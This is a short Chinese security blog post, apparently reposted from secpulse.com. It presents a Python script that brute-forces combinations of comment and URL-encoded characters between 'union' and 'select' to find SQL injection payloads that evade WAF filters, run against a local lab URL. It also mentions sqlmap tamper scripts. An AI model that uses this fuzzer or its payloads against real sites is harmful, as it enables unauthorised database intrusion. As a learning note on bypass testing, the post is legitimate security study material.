Python-Fuzzing脚本编写
2019-11-27 11:50:02 Author: www.secpulse.com(查看原文) 阅读量:397 收藏

你的时间有限,所以不要为别人而活。不要被教条所限,不要活在别人的观念里。不要让别人的意见左右自己内心的声音。最重要的是,勇敢的去追随自己的心灵和直觉,只有自己的心灵和直觉才知道你自己的真实想法,其他一切都是次要。                                       —– 乔布斯

编写py脚本来进行fuzzing union和select之间的空格,只嵌套了四层,对这个脚本也还没进行优化,因为收集了另外一些比较好的Fuzz脚本,完了在学习学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!-*- coding:utf-8 -*-
#!/usr/bin/env python

import requests, sys

fuzz_zs = ['/*','*/','/*!','/**/','?','/','*','=','`','~','@','|','!','%','.','-','+','%00','%20','%09','%0a','%0d','%0c','%0d','%a0']
fuzz_sz = ['']
fuzz_ch = ['%0a','%0d','%0c','%0d','%0e','%0f','%0g','%0h','%0i','%0j','%0h','%0i','%0j','%0k','%0l','%0m','%0n','%0o','%0p','%0q','%0r','%0s','%0t','%0u','%0v','%0w','%0x','%0y','%0z']

fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}

url_start = 'http://192.168.25.133/sql.php?id=1'

lens = len(fuzz)**4
num = 0
#只嵌套了4层
for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
num += 1
payload = "/*!union" + a + b + c + d + "select*/ 1,2,3"
url = url_start + payload
print("Now URL:" + url)
print "Process %s / %s"%(num,str(lens))


res = requests.get(url,headers=headers)
if "hhhhtest" in res.text:
with open('Result.txt','a') as r:
r.write(url + "n")

sqlmap无疑是自动化注入的神器,当我们测出payload但是工具却注入不了,除了以前学习的修改sqlmap源码中的发包方式,二来就是需要我们去写sqlmap脚本。

先查看两个脚本:
versionedkeywords————用mysql注释包围每个关键字
versionedmorekeywords————用mysql注释包围每个非函数关键字

因为对于有些关键字进行了绕过,而对于很多sqlmap发包时的比如像一些函数,他并不会把函数名称和括号进行这样的匹配,总的来说想要探其根源还是得老老实实把sqlmap这款优秀工具的源码读一遍,留作业。


文章来源: https://www.secpulse.com/archives/119133.html
如有侵权请联系:admin#unsafe.sh